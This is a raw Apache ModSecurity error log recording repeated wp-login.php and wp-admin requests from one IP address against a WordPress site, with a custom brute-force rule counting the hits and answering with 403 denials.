[Wed Nov 12 22:59:25.911703 2025] [:error] [pid 60096:tid 60128] [client 62.60.130.213:63965] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgzTmzkhCvvk8DXOzQ-AAAAII"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:59:27.655237 2025] [:error] [pid 60096:tid 60158] [client 62.60.130.213:63965] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgzzmzkhCvvk8DXOzQ_AAAAJg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:59:38.043436 2025] [:error] [pid 60097:tid 60163] [client 62.60.130.213:59709] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSg2sdT5oio_TbWpi-shgAAAMo"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:59:42.614997 2025] [:error] [pid 60097:tid 60166] [client 62.60.130.213:59709] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSg3sdT5oio_TbWpi-sjAAAAM0"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:59:44.469161 2025] [:error] [pid 60097:tid 60169] [client 62.60.130.213:59709] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSg4MdT5oio_TbWpi-sjgAAANA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:59:46.357842 2025] [:error] [pid 60097:tid 60150] [client 62.60.130.213:59709] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSg4sdT5oio_TbWpi-skAAAAMQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:59:48.169313 2025] [:error] [pid 60097:tid 60147] [client 62.60.130.213:59709] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSg5MdT5oio_TbWpi-skgAAAMI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:59:52.400593 2025] [:error] [pid 60097:tid 60173] [client 62.60.130.213:59709] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSg6MdT5oio_TbWpi-slQAAANQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:59:54.193521 2025] [:error] [pid 60097:tid 60166] [client 62.60.130.213:59709] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSg6sdT5oio_TbWpi-slwAAAM0"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:59:55.960612 2025] [:error] [pid 60097:tid 60175] [client 62.60.130.213:59709] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSg68dT5oio_TbWpi-smgAAANY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:59:59.390260 2025] [:error] [pid 60097:tid 60144] [client 62.60.130.213:59709] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRSg78dT5oio_TbWpi-snwAAAME"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:00:04.465244 2025] [:error] [pid 60095:tid 60104] [client 62.60.130.213:63237] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRSg9Hlw2elroagFF1petgAAAEU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:00:06.008619 2025] [:error] [pid 23737:tid 23763] [client 62.60.130.213:49314] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSg9hQUsVVfOZWgW_XytwAAAY4"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:00:06.567130 2025] [:error] [pid 23737:tid 23750] [client 62.60.130.213:49314] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "aRSg9hQUsVVfOZWgW_XyuQAAAYE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:00:12.725196 2025] [:error] [pid 60097:tid 60177] [client 62.60.130.213:65106] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRSg_MdT5oio_TbWpi-spgAAANg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:00:14.310649 2025] [:error] [pid 12744:tid 12761] [client 62.60.130.213:65106] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRSg_p1cp_ouUvkFj0WYZgAAAQ0"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:00:15.875478 2025] [:error] [pid 60096:tid 60158] [client 62.60.130.213:58195] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSg_zmzkhCvvk8DXOzRLwAAAJg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:00:21.563479 2025] [:error] [pid 60096:tid 60129] [client 62.60.130.213:58195] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShBTmzkhCvvk8DXOzRMgAAAIM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:00:22.130082 2025] [:error] [pid 60096:tid 60153] [client 62.60.130.213:58195] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "aRShBjmzkhCvvk8DXOzRNAAAAJQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:00:24.343465 2025] [:error] [pid 60405:tid 60417] [client 62.60.130.213:63207] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRShCHMGv_mlVi6mf5oyaAAAAAk"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:00:25.891278 2025] [:error] [pid 60180:tid 60201] [client 62.60.130.213:61948] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRShCVhgd7ccS8EZg1p2qAAAAVM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:00:30.919457 2025] [:error] [pid 60096:tid 60127] [client 62.60.130.213:55619] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShDjmzkhCvvk8DXOzRPAAAAIE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:00:38.692606 2025] [:error] [pid 12744:tid 12753] [client 62.60.130.213:54476] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShFp1cp_ouUvkFj0WYegAAAQU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:00:43.222484 2025] [:error] [pid 12744:tid 12752] [client 62.60.130.213:54476] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShG51cp_ouUvkFj0WYhAAAAQQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:00:44.952150 2025] [:error] [pid 12744:tid 12770] [client 62.60.130.213:54476] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShHJ1cp_ouUvkFj0WYiwAAARY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:00:47.260410 2025] [:error] [pid 12744:tid 12763] [client 62.60.130.213:54476] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShH51cp_ouUvkFj0WYkgAAAQ8"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:00:56.991331 2025] [:error] [pid 12744:tid 12763] [client 62.60.130.213:62406] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShKJ1cp_ouUvkFj0WYowAAAQ8"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:00:57.531981 2025] [:error] [pid 12744:tid 12761] [client 62.60.130.213:62406] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "aRShKZ1cp_ouUvkFj0WYpAAAAQ0"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:01:00.753313 2025] [:error] [pid 60095:tid 60100] [client 62.60.130.213:62461] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRShLHlw2elroagFF1pe4QAAAEE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:01:02.430903 2025] [:error] [pid 60405:tid 60420] [client 62.60.130.213:65461] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRShLnMGv_mlVi6mf5oygQAAAAw"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:01:04.186261 2025] [:error] [pid 23737:tid 23772] [client 62.60.130.213:54830] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRShMBQUsVVfOZWgW_Xy4wAAAZc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:01:05.754268 2025] [:error] [pid 60096:tid 60143] [client 62.60.130.213:59967] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShMTmzkhCvvk8DXOzRVAAAAI8"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:01:12.047213 2025] [:error] [pid 60096:tid 60156] [client 62.60.130.213:59967] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShODmzkhCvvk8DXOzRVwAAAJY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:01:15.902941 2025] [:error] [pid 60096:tid 60126] [client 62.60.130.213:59967] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShOzmzkhCvvk8DXOzRWwAAAIA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:01:15.903019 2025] [:error] [pid 60096:tid 60126] [client 62.60.130.213:59967] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShOzmzkhCvvk8DXOzRWwAAAIA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:01:28.890828 2025] [:error] [pid 60096:tid 60148] [client 62.60.130.213:57562] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShSDmzkhCvvk8DXOzRYAAAAJI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:01:32.875990 2025] [:error] [pid 60096:tid 60130] [client 62.60.130.213:57562] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShTDmzkhCvvk8DXOzRZgAAAIQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:01:36.193280 2025] [:error] [pid 60096:tid 60153] [client 62.60.130.213:57562] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShUDmzkhCvvk8DXOzRagAAAJQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:01:37.999714 2025] [:error] [pid 60096:tid 60137] [client 62.60.130.213:57562] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShUTmzkhCvvk8DXOzRcAAAAIs"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:01:37.999799 2025] [:error] [pid 60096:tid 60137] [client 62.60.130.213:57562] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShUTmzkhCvvk8DXOzRcAAAAIs"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:01:51.808764 2025] [:error] [pid 60095:tid 60117] [client 62.60.130.213:63676] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShX3lw2elroagFF1pe-wAAAFI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:01:51.808839 2025] [:error] [pid 60095:tid 60117] [client 62.60.130.213:63676] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShX3lw2elroagFF1pe-wAAAFI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:01:54.538814 2025] [:error] [pid 60180:tid 60189] [client 62.60.130.213:55594] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShYlhgd7ccS8EZg1p24gAAAUc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:01:54.538938 2025] [:error] [pid 60180:tid 60189] [client 62.60.130.213:55594] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShYlhgd7ccS8EZg1p24gAAAUc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:02:04.066994 2025] [:error] [pid 60097:tid 60173] [client 62.60.130.213:55594] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRShbMdT5oio_TbWpi-s8QAAANQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:02:08.007132 2025] [:error] [pid 60096:tid 60158] [client 62.60.130.213:65379] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRShcDmzkhCvvk8DXOzRewAAAJg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:02:09.573745 2025] [:error] [pid 60405:tid 60422] [client 62.60.130.213:61289] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShcXMGv_mlVi6mf5oyswAAAA4"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:02:12.822541 2025] [:error] [pid 60405:tid 60431] [client 62.60.130.213:61289] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShdHMGv_mlVi6mf5oyuQAAABc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:02:12.822609 2025] [:error] [pid 60405:tid 60431] [client 62.60.130.213:61289] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShdHMGv_mlVi6mf5oyuQAAABc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:02:17.892762 2025] [:error] [pid 23737:tid 23767] [client 62.60.130.213:50168] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSheRQUsVVfOZWgW_XzMwAAAZI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:02:22.218478 2025] [:error] [pid 23737:tid 23750] [client 62.60.130.213:50168] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShfhQUsVVfOZWgW_XzOwAAAYE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:02:22.218551 2025] [:error] [pid 23737:tid 23750] [client 62.60.130.213:50168] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShfhQUsVVfOZWgW_XzOwAAAYE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:02:27.403857 2025] [:error] [pid 60405:tid 60427] [client 62.60.130.213:62032] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRShg3MGv_mlVi6mf5oyxgAAABM"], referer: https://rcacivilgroup.com/wp-login.php
